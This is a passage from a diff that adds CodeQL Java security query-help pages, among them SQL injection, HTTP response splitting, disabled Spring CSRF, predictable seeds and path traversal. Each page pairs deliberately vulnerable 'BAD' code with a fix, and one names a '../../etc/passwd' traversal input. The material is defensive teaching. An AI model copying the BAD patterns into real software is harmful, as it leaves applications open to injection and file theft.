DefaultHttpResponse(version, httpResponseStatus); +} + +``` + +## References +* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). +* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). +* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). +* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/NumericCastTainted.md b/docs/language/query-help/java/NumericCastTainted.md new file mode 100644 index 00000000000..6b32ad27e8f --- /dev/null +++ b/docs/language/query-help/java/NumericCastTainted.md @@ -0,0 +1,64 @@ +# User-controlled data in numeric cast + +``` +ID: java/tainted-numeric-cast +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-197 external/cwe/cwe-681 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-681/NumericCastTainted.ql) + +Casting a user-controlled numeric value to a narrower type can result in truncated values unless the input is validated. + +Narrowing conversions may cause potentially unintended results. For example, casting the positive integer value `128` to type `byte` yields the negative value `-128`. + + +## Recommendation +Guard against unexpected truncation of user-controlled arithmetic data by doing one of the following: + +* Validate the user input. +* Define a guard on the cast expression, so that the cast is performed only if the input is known to be within the range of the resulting type. +* Avoid casting to a narrower type, and instead continue to use a wider type. + +## Example +In this example, a value is read from standard input into a `long`. Because the value is a user-controlled value, it could be extremely large. Casting this value to a narrower type could therefore cause unexpected truncation. The `scaled2` example uses a guard to avoid this problem and checks the range of the input before performing the cast. If the value is too large to cast to type `int` it is rejected as invalid. + + +```java +class Test { + public static void main(String[] args) throws IOException { + { + long data; + + BufferedReader readerBuffered = new BufferedReader( + new InputStreamReader(System.in, "UTF-8")); + String stringNumber = readerBuffered.readLine(); + if (stringNumber != null) { + data = Long.parseLong(stringNumber.trim()); + } else { + data = 0; + } + + // AVOID: potential truncation if input data is very large, + // for example 'Long.MAX_VALUE' + int scaled = (int)data; + + //... + + // GOOD: use a guard to ensure no truncation occurs + int scaled2; + if (data > Integer.MIN_VALUE && data < Integer.MAX_VALUE) + scaled2 = (int)data; + else + throw new IllegalArgumentException("Invalid input"); + } + } +} +``` + +## References +* The CERT Oracle Secure Coding Standard for Java: [NUM12-J. Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data](https://www.securecoding.cert.org/confluence/display/java/NUM12-J.+Ensure+conversions+of+numeric+types+to+narrower+types+do+not+result+in+lost+or+misinterpreted+data). +* Common Weakness Enumeration: [CWE-197](https://cwe.mitre.org/data/definitions/197.html). +* Common Weakness Enumeration: [CWE-681](https://cwe.mitre.org/data/definitions/681.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PotentiallyDangerousFunction.md b/docs/language/query-help/java/PotentiallyDangerousFunction.md new file mode 100644 index 00000000000..219a6a77282 --- /dev/null +++ b/docs/language/query-help/java/PotentiallyDangerousFunction.md @@ -0,0 +1,50 @@ +# Use of a potentially dangerous function + +``` +ID: java/potentially-dangerous-function +Kind: problem +Severity: warning +Precision: medium +Tags: reliability security external/cwe/cwe-676 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-676/PotentiallyDangerousFunction.ql) + +This rule finds calls to methods that are dangerous to use. Currently, it checks for calls to `Thread.stop`. + +Stopping a thread with `Thread.stop` causes it to receive a `ThreadDeath` exception. That exception propagates up the stack, releasing all monitors that the thread was holding. In some cases the relevant code will be protected by catching the `ThreadDeath` exception and cleaning up, but because the exception can potentially be thrown from so very many locations, it is impractical to catch all such cases. As a result, calling `Thread.stop` is likely to result in corrupt data. + + +## Recommendation +The best solution is usually to provide an alternate communication mechanism for the thread that might need to be interrupted early. For example, Oracle gives the following example of using a volatile variable to communicate whether the worker thread should exit: + + +```java +private volatile Thread blinker; + +public void stop() { + blinker = null; +} + +public void run() { + Thread thisThread = Thread.currentThread(); + while (blinker == thisThread) { + try { + Thread.sleep(interval); + } catch (InterruptedException e){ + } + repaint(); + } +} + +``` +It is also possible to use `Thread.interrupt` and to catch and handle `InterruptedException` when it occurs. However, it can be difficult to handle an `InterruptedException` everywhere it might occur; for example, the sample code above simply discards the exception rather than actually exiting the thread. + +Another strategy is to use message passing, for example via a `BlockingQueue`. In addition to passing the worker thread its ordinary work via such a message queue, the worker can be asked to exit by a particular kind of message being sent on the queue. + + +## References +* The CERT Oracle Secure Coding Standard for Java: [THI05-J. Do not use Thread.stop() to terminate threads](https://www.securecoding.cert.org/confluence/display/java/THI05-J.+Do+not+use+Thread.stop%28%29+to+terminate+threads). +* Java SE Documentation: [Java Thread Primitive Deprecation](http://docs.oracle.com/javase/7/docs/technotes/guides/concurrency/threadPrimitiveDeprecation.html). +* Java API: [Thread.interrupt](http://docs.oracle.com/javase/7/docs/api/java/lang/Thread.html#interrupt()), [BlockingQueue](http://docs.oracle.com/javase/7/docs/api/java/util/concurrent/BlockingQueue.html). +* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html). \ No newline at end of file diff --git a/docs/language/query-help/java/PredictableSeed.md b/docs/language/query-help/java/PredictableSeed.md new file mode 100644 index 00000000000..b1f12cc965c --- /dev/null +++ b/docs/language/query-help/java/PredictableSeed.md @@ -0,0 +1,46 @@ +# Use of a predictable seed in a secure random number generator + +``` +ID: java/predictable-seed +Kind: problem +Severity: error +Precision: high +Tags: security + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-335/PredictableSeed.ql) + +Using a predictable seed in a pseudo-random number generator can lead to predictability of the numbers generated by it. + + +## Recommendation +If the predictability of the pseudo-random number generator does not matter then consider using the faster `Random` class from `java.util`. If it is important that the pseudo-random number generator produces completely unpredictable values then either let the generator securely seed itself by not specifying a seed or specify a randomly generated, unpredictable seed. + + +## Example +In the first example shown here, a constant value is used as a seed. Depending on the implementation of ` SecureRandom`, this could lead to the same random number being generated each time the code is executed. + +In the second example shown here, the system time is used as a seed. Depending on the implementation of ` SecureRandom`, if an attacker knows what time the code was run, they could predict the generated random number. + +In the third example shown here, the random number generator is allowed to generate its own seed, which it will do in a secure way. + + +```java +SecureRandom prng = new SecureRandom(); +int randomData = 0; + +// BAD: Using a constant value as a seed for a random number generator means all numbers it generates are predictable. +prng.setSeed(12345L); +randomData = prng.next(32); + +// BAD: System.currentTimeMillis() returns the system time which is predictable. +prng.setSeed(System.currentTimeMillis()); +randomData = prng.next(32); + +// GOOD: SecureRandom implementations seed themselves securely by default. +prng = new SecureRandom(); +randomData = prng.next(32); + +``` + +## References \ No newline at end of file diff --git a/docs/language/query-help/java/ReadingFromWorldWritableFile.md b/docs/language/query-help/java/ReadingFromWorldWritableFile.md new file mode 100644 index 00000000000..f349e033c4b --- /dev/null +++ b/docs/language/query-help/java/ReadingFromWorldWritableFile.md @@ -0,0 +1,44 @@ +# Reading from a world writable file + +``` +ID: java/world-writable-file-read +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-732 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-732/ReadingFromWorldWritableFile.ql) + +Reading from a world-writable file is dangerous on a multi-user system because other users may be able to affect program execution by modifying or deleting the file. + + +## Recommendation +Do not make files explicitly world writable unless the file is intended to be written by multiple users on a multi-user system. In many cases, the file may only need to be writable for the current user. + +For some file systems, there may be alternatives to setting the file to be world writable. For example, POSIX file systems support "groups" which may be used to ensure that only subset of all the users can write to the file. Access Control Lists (ACLs) are available for many operating system and file system combinations, and can provide fine-grained read and write support without resorting to world writable permissions. + + +## Example +In the following example, we are loading some configuration parameters from a file: + +```java + +private void readConfig(File configFile) { + if (!configFile.exists()) { + // Create an empty config file + configFile.createNewFile(); + // Make the file writable for all + configFile.setWritable(true, false); + } + // Now read the config + loadConfig(configFile); +} + +``` +If the configuration file does not yet exist, an empty file is created. Creating an empty file can simplify the later code and is a convenience for the user. However, by setting the file to be world writable, we allow any user on the system to modify the configuration, not just the current user. If there may be untrusted users on the system, this is potentially dangerous. + + +## References +* The CERT Oracle Secure Coding Standard for Java: [FIO01-J. Create files with appropriate access permissions](https://www.securecoding.cert.org/confluence/display/java/FIO01-J.+Create+files+with+appropriate+access+permissions). +* Common Weakness Enumeration: [CWE-732](https://cwe.mitre.org/data/definitions/732.html). \ No newline at end of file diff --git a/docs/language/query-help/java/ResponseSplitting.md b/docs/language/query-help/java/ResponseSplitting.md new file mode 100644 index 00000000000..b86c2ae34ef --- /dev/null +++ b/docs/language/query-help/java/ResponseSplitting.md @@ -0,0 +1,72 @@ +# HTTP response splitting + +``` +ID: java/http-response-splitting +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-113 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-113/ResponseSplitting.ql) + +Directly writing user input (for example, an HTTP request parameter) to an HTTP header can lead to an HTTP response-splitting vulnerability. If the user input includes blank lines in it, and if the servlet container does not itself escape the blank lines, then a remote user can cause the response to turn into two separate responses, one of which is controlled by the remote user. + + +## Recommendation +Guard against HTTP header splitting in the same way as guarding against cross-site scripting. Before passing any data into HTTP headers, either check the data for special characters, or escape any special characters that are present. + + +## Example +The following example shows the 'name' parameter being written to a cookie in two different ways. The first way writes it directly to the cookie, and thus is vulnerable to response-splitting attacks. The second way first removes all special characters, thus avoiding the potential problem. + + +```java +public class ResponseSplitting extends HttpServlet { + protected void doGet(HttpServletRequest request, HttpServletResponse response) + throws ServletException, IOException { + // BAD: setting a cookie with an unvalidated parameter + Cookie cookie = new Cookie("name", request.getParameter("name")); + response.addCookie(cookie); + + // GOOD: remove special characters before putting them in the header + String name = removeSpecial(request.getParameter("name")); + Cookie cookie2 = new Cookie("name", name); + response.addCookie(cookie2); + } + + private static String removeSpecial(String str) { + return str.replaceAll("[^a-zA-Z ]", ""); + } +} + +``` + +## Example +The following example shows the use of the library 'netty' with HTTP response-splitting verification configurations. The second way will verify the parameters before using them to build the HTTP response. + + +```java +import io.netty.handler.codec.http.DefaultHttpHeaders; + +public class ResponseSplitting { + // BAD: Disables the internal response splitting verification + private final DefaultHttpHeaders badHeaders = new DefaultHttpHeaders(false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpHeaders goodHeaders = new DefaultHttpHeaders(); + + // BAD: Disables the internal response splitting verification + private final DefaultHttpResponse badResponse = new DefaultHttpResponse(version, httpResponseStatus, false); + + // GOOD: Verifies headers passed don't contain CRLF characters + private final DefaultHttpResponse goodResponse = new DefaultHttpResponse(version, httpResponseStatus); +} + +``` + +## References +* InfosecWriters: [HTTP response splitting](http://www.infosecwriters.com/Papers/DCrab_HTTP_Response.pdf). +* OWASP: [HTTP Response Splitting](https://www.owasp.org/index.php/HTTP_Response_Splitting). +* Wikipedia: [HTTP response splitting](http://en.wikipedia.org/wiki/HTTP_response_splitting). +* Common Weakness Enumeration: [CWE-113](https://cwe.mitre.org/data/definitions/113.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SocketAuthRace.md b/docs/language/query-help/java/SocketAuthRace.md new file mode 100644 index 00000000000..4c7791290e5 --- /dev/null +++ b/docs/language/query-help/java/SocketAuthRace.md @@ -0,0 +1,49 @@ +# Race condition in socket authentication + +``` +ID: java/socket-auth-race-condition +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-421 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-421/SocketAuthRace.ql) + +A common pattern is to have a channel of communication open with a user, and then to open another channel, for example to transfer data. However, if user authentication is done over the original channel rather than the alternate channel, then an attacker may be able to connect to the alternate channel before the legitimate user does. This allows the attacker to impersonate the user by "piggybacking" on any previous authentication. + + +## Recommendation +When opening an alternate channel for an authenticated user (for example, a Java `Socket`), always authenticate the user over the new channel. + + +## Example +This example shows two ways of opening a connection for a user. In the first example, authentication is determined based on materials that the user has already provided (for example, their username and/or password), and then a new channel is opened. However, no authentication is done over the new channel, and so an attacker could connect to it before the user connects. + +In the second example, authentication is done over the socket channel itself, which verifies that the newly connected user is in fact the user that was expected. + + +```java +public void doConnect(int desiredPort, String username) { + ServerSocket listenSocket = new ServerSocket(desiredPort); + + if (isAuthenticated(username)) { + Socket connection1 = listenSocket.accept(); + // BAD: no authentication over the socket connection + connection1.getOutputStream().write(secretData); + } +} + +public void doConnect(int desiredPort, String username) { + ServerSocket listenSocket = new ServerSocket(desiredPort); + + Socket connection2 = listenSocket.accept(); + // GOOD: authentication happens over the socket + if (doAuthenticate(connection2, username)) { + connection2.getOutputStream().write(secretData); + } +} +``` + +## References +* Common Weakness Enumeration: [CWE-421](https://cwe.mitre.org/data/definitions/421.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SpringCSRFProtection.md b/docs/language/query-help/java/SpringCSRFProtection.md new file mode 100644 index 00000000000..5c43ea25786 --- /dev/null +++ b/docs/language/query-help/java/SpringCSRFProtection.md @@ -0,0 +1,48 @@ +# Disabled Spring CSRF protection + +``` +ID: java/spring-disabled-csrf-protection +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-352 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-352/SpringCSRFProtection.ql) + +When you set up a web server to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it is vulnerable to attack. An attacker can trick a client into making an unintended request to the web server that will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in exposure of data or unintended code execution. + + +## Recommendation +When you use Spring, Cross-Site Request Forgery (CSRF) protection is enabled by default. Spring's recommendation is to use CSRF protection for any request that could be processed by a browser client by normal users. + + +## Example +The following example shows the Spring Java configuration with CSRF protection disabled. This type of configuration should only be used if you are creating a service that is used only by non-browser clients. + + +```java +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; + +@EnableWebSecurity +@Configuration +public class WebSecurityConfig extends WebSecurityConfigurerAdapter { + @Override + protected void configure(HttpSecurity http) throws Exception { + http + .csrf(csrf -> + // BAD - CSRF protection shouldn't be disabled + csrf.disable() + ); + } +} + +``` + +## References +* OWASP: [Cross-Site Request Forgery (CSRF)](https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)). +* Spring Security Reference: [ Cross Site Request Forgery (CSRF) for Servlet Environments ](https://docs.spring.io/spring-security/site/docs/current/reference/html5/#servlet-csrf). +* Common Weakness Enumeration: [CWE-352](https://cwe.mitre.org/data/definitions/352.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlTainted.md b/docs/language/query-help/java/SqlTainted.md new file mode 100644 index 00000000000..9c4a07db586 --- /dev/null +++ b/docs/language/query-help/java/SqlTainted.md @@ -0,0 +1,122 @@ +# Query built from user-controlled sources + +``` +ID: java/sql-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlTainted.ql) + +If a database query is built using string concatenation, and the components of the concatenation include user input, a user is likely to be able to run malicious database queries. This applies to various database query languages, including SQL and the Java Persistence Query Language. + + +## Recommendation +Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. + +In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. + +It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in two different ways. + +The first way involves building a query, `query1`, by concatenating an environment variable with some string literals. The environment variable can include special characters, so this code allows for SQL injection attacks. + +The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the environment variable are not given any special treatment. + + +```java +{ + // BAD: the category might have SQL special characters in it + String category = System.getenv("ITEM_CATEGORY"); + Statement statement = connection.createStatement(); + String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + category + "' ORDER BY PRICE"; + ResultSet results = statement.executeQuery(query1); +} + +{ + // GOOD: use a prepared query + String category = System.getenv("ITEM_CATEGORY"); + String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; + PreparedStatement statement = connection.prepareStatement(query2); + statement.setString(1, category); + ResultSet results = statement.executeQuery(); +} +``` + +## Example +The following code shows several different ways to run a Java Persistence query. + +The first example involves building a query, `query1`, by concatenating an environment variable with some string literals. Just like the SQL example, the environment variable can include special characters, so this code allows for Java Persistence query injection attacks. + +The remaining examples demonstrate different methods for safely building a Java Persistence query with user-supplied values: + +1. `query2` uses a single string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). +1. `query3` uses a single string literal that includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). +1. `namedQuery1` is defined using the `@NamedQuery` annotation, whose `query` attribute is a string literal that includes a placeholder for a parameter, indicated by a colon (`:`) and parameter name (`category`). +1. `namedQuery2` is defined using the `@NamedQuery` annotation, whose `query` attribute includes a placeholder for a parameter, indicated by a question mark (`?`) and position number (`1`). +The parameter is then given a value by calling `setParameter`. These versions are immune to injection attacks, because any special characters in the environment variable or user-supplied value are not given any special treatment. + + +```java +{ + // BAD: the category might have Java Persistence Query Language special characters in it + String category = System.getenv("ITEM_CATEGORY"); + Statement statement = connection.createStatement(); + String query1 = "SELECT p FROM Product p WHERE p.category LIKE '" + + category + "' ORDER BY p.price"; + Query q = entityManager.createQuery(query1); +} + +{ + // GOOD: use a named parameter and set its value + String category = System.getenv("ITEM_CATEGORY"); + String query2 = "SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price" + Query q = entityManager.createQuery(query2); + q.setParameter("category", category); +} + +{ + // GOOD: use a positional parameter and set its value + String category = System.getenv("ITEM_CATEGORY"); + String query3 = "SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price" + Query q = entityManager.createQuery(query3); + q.setParameter(1, category); +} + +{ + // GOOD: use a named query with a named parameter and set its value + @NamedQuery( + name="lookupByCategory", + query="SELECT p FROM Product p WHERE p.category LIKE :category ORDER BY p.price") + private static class NQ {} + ... + String category = System.getenv("ITEM_CATEGORY"); + Query namedQuery1 = entityManager.createNamedQuery("lookupByCategory"); + namedQuery1.setParameter("category", category); +} + +{ + // GOOD: use a named query with a positional parameter and set its value + @NamedQuery( + name="lookupByCategory", + query="SELECT p FROM Product p WHERE p.category LIKE ?1 ORDER BY p.price") + private static class NQ {} + ... + String category = System.getenv("ITEM_CATEGORY"); + Query namedQuery2 = entityManager.createNamedQuery("lookupByCategory"); + namedQuery2.setParameter(1, category); +} +``` + +## References +* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). +* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). +* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). +* The Java EE Tutorial: [The Java Persistence Query Language](https://docs.oracle.com/javaee/7/tutorial/persistence-querylanguage.htm). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/SqlUnescaped.md b/docs/language/query-help/java/SqlUnescaped.md new file mode 100644 index 00000000000..ff991614960 --- /dev/null +++ b/docs/language/query-help/java/SqlUnescaped.md @@ -0,0 +1,56 @@ +# Query built without neutralizing special characters + +``` +ID: java/concatenated-sql-query +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-089 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-089/SqlUnescaped.ql) + +Even when the components of a SQL query are not fully controlled by a user, it is a vulnerability to concatenate those components into a SQL query without neutralizing special characters. Perhaps a separate vulnerability will allow the user to gain control of the component. As well, a user who cannot gain full control of an input might influence it enough to cause the SQL query to fail to run. + + +## Recommendation +Usually, it is better to use a SQL prepared statement than to build a complete SQL query with string concatenation. A prepared statement can include a wildcard, written as a question mark (?), for each part of the SQL query that is expected to be filled in by a different value each time it is run. When the query is later executed, a value must be supplied for each wildcard in the query. + +In the Java Persistence Query Language, it is better to use queries with parameters than to build a complete query with string concatenation. A Java Persistence query can include a parameter placeholder for each part of the query that is expected to be filled in by a different value when run. A parameter placeholder may be indicated by a colon (:) followed by a parameter name, or by a question mark (?) followed by an integer position. When the query is later executed, a value must be supplied for each parameter in the query, using the `setParameter` method. Specifying the query using the `@NamedQuery` annotation introduces an additional level of safety: the query must be a constant string literal, preventing construction by string concatenation, and the only way to fill in values for parts of the query is by setting positional parameters. + +It is good practice to use prepared statements (in SQL) or query parameters (in the Java Persistence Query Language) for supplying parameter values to a query, whether or not any of the parameters are directly traceable to user input. Doing so avoids any need to worry about quoting and escaping. + + +## Example +In the following example, the code runs a simple SQL query in two different ways. + +The first way involves building a query, `query1`, by concatenating the result of `getCategory` with some string literals. The result of `getCategory` can include special characters, or it might be refactored later so that it may return something that contains special characters. + +The second way, which shows good practice, involves building a query, `query2`, with a single string literal that includes a wildcard (`?`). The wildcard is then given a value by calling `setString`. This version is immune to injection attacks, because any special characters in the result of `getCategory` are not given any special treatment. + + +```java +{ + // BAD: the category might have SQL special characters in it + String category = getCategory(); + Statement statement = connection.createStatement(); + String query1 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='" + + category + "' ORDER BY PRICE"; + ResultSet results = statement.executeQuery(query1); +} + +{ + // GOOD: use a prepared query + String category = getCategory(); + String query2 = "SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY=? ORDER BY PRICE"; + PreparedStatement statement = connection.prepareStatement(query2); + statement.setString(1, category); + ResultSet results = statement.executeQuery(); +} +``` + +## References +* OWASP: [SQL Injection Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html). +* The CERT Oracle Secure Coding Standard for Java: [IDS00-J. Prevent SQL injection](https://www.securecoding.cert.org/confluence/display/java/IDS00-J.+Prevent+SQL+injection). +* The Java Tutorials: [Using Prepared Statements](http://docs.oracle.com/javase/tutorial/jdbc/basics/prepared.html). +* Common Weakness Enumeration: [CWE-89](https://cwe.mitre.org/data/definitions/89.html). \ No newline at end of file diff --git a/docs/language/query-help/java/StackTraceExposure.md b/docs/language/query-help/java/StackTraceExposure.md new file mode 100644 index 00000000000..9f1c47fd66f --- /dev/null +++ b/docs/language/query-help/java/StackTraceExposure.md @@ -0,0 +1,54 @@ +# Information exposure through a stack trace + +``` +ID: java/stack-trace-exposure +Kind: problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-209 external/cwe/cwe-497 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-209/StackTraceExposure.ql) + +Software developers often add stack traces to error messages, as a debugging aid. Whenever that error message occurs for an end user, the developer can use the stack trace to help identify how to fix the problem. In particular, stack traces can tell the developer more about the sequence of events that led to a failure, as opposed to merely the final state of the software when the error occurred. + +Unfortunately, the same information can be useful to an attacker. The sequence of class names in a stack trace can reveal the structure of the application as well as any internal components it relies on. Furthermore, the error message at the top of a stack trace can include information such as server-side file names and SQL code that the application relies on, allowing an attacker to fine-tune a subsequent injection attack. + + +## Recommendation +Send the user a more generic error message that reveals less information. Either suppress the stack trace entirely, or log it only on the server. + + +## Example +In the following example, an exception is handled in two different ways. In the first version, labeled BAD, the exception is sent back to the remote user using the `sendError()` method. As such, the user is able to see a detailed stack trace, which may contain sensitive information. In the second version, the error message is logged only on the server. That way, the developers can still access and use the error log, but remote users will not see the information. + + +```java +protected void doGet(HttpServletRequest request, HttpServletResponse response) { + try { + doSomeWork(); + } catch (NullPointerException ex) { + // BAD: printing a stack trace back to the response + ex.printStackTrace(response.getWriter()); + return; + } + + try { + doSomeWork(); + } catch (NullPointerException ex) { + // GOOD: log the stack trace, and send back a non-revealing response + log("Exception occurred", ex); + response.sendError( + HttpServletResponse.SC_INTERNAL_SERVER_ERROR, + "Exception occurred"); + return; + } +} + +``` + +## References +* OWASP: [Information Leak](https://www.owasp.org/index.php/Information_Leak_(information_disclosure)). +* CERT Java Coding Standard: [ERR01-J. Do not allow exceptions to expose sensitive information](https://www.securecoding.cert.org/confluence/display/java/ERR01-J.+Do+not+allow+exceptions+to+expose+sensitive+information). +* Common Weakness Enumeration: [CWE-209](https://cwe.mitre.org/data/definitions/209.html). +* Common Weakness Enumeration: [CWE-497](https://cwe.mitre.org/data/definitions/497.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TOCTOURace.md b/docs/language/query-help/java/TOCTOURace.md new file mode 100644 index 00000000000..f7635dc69da --- /dev/null +++ b/docs/language/query-help/java/TOCTOURace.md @@ -0,0 +1,63 @@ +# Time-of-check time-of-use race condition + +``` +ID: java/toctou-race-condition +Kind: problem +Severity: warning +Precision: medium +Tags: security external/cwe/cwe-367 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-367/TOCTOURace.ql) + +Often it is necessary to check the state of a resource before using it. If the resource is accessed concurrently, then the check and the use need to be performed atomically, otherwise the state of the resource may change between the check and the use. This can lead to a "time-of-check/time-of-use" (TOCTOU) race condition. + +In Java, classes may present state inspection methods and operation methods which are synchronized. This prevents multiple threads from executing those methods simultaneously, but it does not prevent a state change in between separate method invocations. + + +## Recommendation +When calling a series of methods which require a consistent view of an object, make sure to synchronize on a monitor that will prevent any other access to the object during your operations. + +If the class that you are using has a well-designed interface, then synchronizing on the object itself will prevent its state being changed inappropriately. + + +## Example +The following example shows a resource which has a readiness state, and an action that is only valid if the resource is ready. + +In the bad case, the caller checks the readiness state and then acts, but does not synchronize around the two calls, so the readiness state may be changed by another thread. + +In the good case, the caller jointly synchronizes the check and the use on the resource, so no other thread can modify the state before the use. + + +```java +class Resource { + public synchronized boolean isReady() { ... } + + public synchronized void setReady(boolean ready) { ... } + + public synchronized void act() { + if (!isReady()) + throw new IllegalStateException(); + ... + } +} + +public synchronized void bad(Resource r) { + if (r.isReady()) { + // r might no longer be ready, another thread might + // have called setReady(false) + r.act(); + } +} + +public synchronized void good(Resource r) { + synchronized(r) { + if (r.isReady()) { + r.act(); + } + } +} +``` + +## References +* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html). \ No newline at end of file diff --git a/docs/language/query-help/java/TaintedPath.md b/docs/language/query-help/java/TaintedPath.md new file mode 100644 index 00000000000..38c15c009a5 --- /dev/null +++ b/docs/language/query-help/java/TaintedPath.md @@ -0,0 +1,62 @@ +# Uncontrolled data used in path expression + +``` +ID: java/path-injection +Kind: path-problem +Severity: error +Precision: high +Tags: security external/cwe/cwe-022 external/cwe/cwe-023 external/cwe/cwe-036 external/cwe/cwe-073 + +``` +[Click to see the query in the CodeQL repository](https://github.com/github/codeql/tree/main/java/ql/src/Security/CWE/CWE-022/TaintedPath.ql) + +Accessing paths controlled by users can allow an attacker to access unexpected resources. This can result in sensitive information being revealed or deleted, or an attacker being able to influence behavior by modifying unexpected files. + +Paths that are naively constructed from data controlled by a user may contain unexpected special characters, such as "..". Such a path may potentially point to any directory on the file system. + + +## Recommendation +Validate user input before using it to construct a file path. Ideally, follow these rules: + +* Do not allow more than a single "." character. +* Do not allow directory separators such as "/" or "\" (depending on the file system). +* Do not rely on simply replacing problematic sequences such as "../". For example, after applying this filter to ".../...//" the resulting string would still be "../". +* Ideally use a whitelist of known good patterns. + +## Example +In this example, a file name is read from a `java.net.Socket` and then used to access a file in the user's home directory and send it back over the socket. However, a malicious user could enter a file name which contains special characters. For example, the string "../../etc/passwd" will result in the code reading the file located at "/home/[user]/../../etc/passwd", which is the system's password file. This file would then be sent back to the user, giving them access to all the system's passwords. + + +```java +public void sendUserFile(Socket sock, String user) { + BufferedReader filenameReader = new BufferedReader( + new InputStreamReader(sock.getInputStream(), "UTF-8")); + String filename = filenameReader.readLine(); + // BAD: read from a file using a path controlled by the user + BufferedReader fileReader = new BufferedReader( + new FileReader("/home/" + user + "/" + filename)); + String fileLine = fileReader.readLine(); + while(fileLine != null) { + sock.getOutputStream().write(fileLine.getBytes()); + fileLine = fileReader.readLine(); + } +} + +public void sendUserFileFixed(Socket sock, String user) { + // ... + + // GOOD: remove all dots and directory delimiters from the filename before using + String filename = filenameReader.readLine().replaceAll("\.", "").replaceAll("/", ""); + BufferedReader fileReader = new BufferedReader( + new FileReader("/home/" + user + "/" + filename)); + + // ... +} +``` + +## References +* OWASP: [Path Traversal](https://www.owasp.org/index.php/Path_traversal). +* Common Weakness 